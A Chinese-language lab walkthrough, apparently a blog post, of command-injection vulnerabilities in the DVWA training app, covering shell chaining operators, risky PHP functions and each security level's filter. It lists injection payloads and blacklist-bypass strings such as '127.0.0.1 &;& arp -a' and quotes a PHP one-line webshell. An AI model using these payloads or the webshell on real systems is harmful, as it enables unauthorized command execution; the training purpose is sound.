Kali渗透测试之DVWA系列3——命令执行漏洞

一、命令执行漏洞

        命令执行漏洞是指可以随意执行系统命令,属于高危漏洞之一,也属于代码执行范围内就好比说一句话木马<?php @eval($_POST[cmd]);?>

二、分类

1、代码过滤不严或无过滤

2、系统漏洞可以构造环境变量的值来执行具有攻击力的脚本代码,会影响到bash交互的多种应用,例如:http、ssh、dhcp等

3、调用第三方组件,例如PHP — exec()、system()、popen()、passthru()、proc_open()、pcntl_exec()、shell_exec(),java — struts 2,thinkphp(老牌的PHP框架)

  • system() 输出并返回最后一行shell结果。
  • exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
  • passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。
  • popen()、proc_open() 不会直接返回执行结果,而是返回一个文件指针

三、&&、&、|、||

windows支持:

  • command1 && command2      #command1执行成功了才会执行command2
  • command1 & command2        #不管command1是否执行成功,command2都会执行
  • command1 | command2         #直接执行command2
  • command1 || command2        #command1执行失败了,才会执行command2

Linux支持:

  • command1 ; command2        #command1执行完执行command2     
  • command1 && command2    #command1执行成功了才会执行command2
  • command1 & command2      #不管command1是否执行成功,command2都会执行
  • command1 | command2       #将command1的输出结果作为command2的输入的内容(管道符)
  • command1 || command2      #command1执行失败了,才会执行command2

四、实验环境

1、DVWA服务器:Windows Server 2003(192.168.247.129),启动phpStudy

2、测试机:物理机Windows 10,远程登录DVWA

五、实验步骤

安全等级:Low

1、查看安全等级LOW的命令注入源码

源码分析:

  • 首先判断目标主机的操作系统,如果是Windows,则执行第一个命令;若是linux,指定ping目标IP四次,因为linux中ping命令是一直执行的,只有加了-c参数,指定发送的次数才能停止。
  • 可以看到在接收用户输入的地方,对用户的输入的内容没有做任何的处理。不难看出这就是一个典型的命令注入漏洞,而且是最容易的。

2、命令注入漏洞(在服务器上执行命令并返回)

  • 127.0.0.1
  • 127.0.0.1 && dir               //文件路径
  • 127.0.0.1 | ipconfig          //网卡
  • 127.0.0.1 | arp -a             //查看arp缓存表
  • 127.0.0.1 | regedit           //打开注册表
  • 127.0.0.1 | netstat -ano   //端口信息

如果命令执行结果出现乱码,可按Alt键,改变文字编码。

安全等级:Medium

1、查看源码

源码分析:

  • $target = str_replace( array_keys( $substitutions ), $substitutions, $target );如果用户输入的内容中含有&&或;会将其替换为空。其他的部分基本和安全等级为LOW时相差不大。Str_replace()函数,以其他字符替换字符串中的一些字符(区分大小写)。
  • 这里的源码对用户的输入进行了初步的过滤,过滤掉了一些能够同时执行命令的符号,但是我们知道,拥有同样作用的符号不止&&和;。所以依然可以进行命令注入。

2、命令执行漏洞

执行命令 — 127.0.0.1 && dir , 失败。

3、绕过方法

  • 127.0.0.1 & dir
  • 127.0.0.1 | dir
  • 127.0.0.1 &&& arp -a
  • 127.0.0.1 &;& arp -a

 

安全等级:High

1、查看源码

源码分析:

  • 这个级别的源码和安全等级为medium级别的源码相差不大,只是将更多的符号加入黑名单。
  • 总之,只是做黑名单的话,还是不够安全的。只要黑名单不够完整,就不是很安全。即使你认为名单已经很完整了。可能还有你不知道的存在可以利用。

2、命令执行漏洞

  • 127.0.0.1 && arp -a
  • 127.0.0.1 & arp -a
  • 127.0.0.1 | arp -a

3、绕过方法

  • 127.0.0.1 |ipconfig

安全等级:Impossible

1、查看源码

源码分析:

  • explode()函数,将字符串变为数组。这里将我们输入的IP以 . 进行拆分,变成数组。
  • 然后判断数组中的每个值是否为数字,且是否是四个对象。
  • 如果结果为true的话,就会将这四组数通过 . 连接起来,执行ping命令。这样就杜绝了所有命令注入。

2、命令执行

猜你喜欢

转载自blog.csdn.net/weixin_43625577/article/details/89917585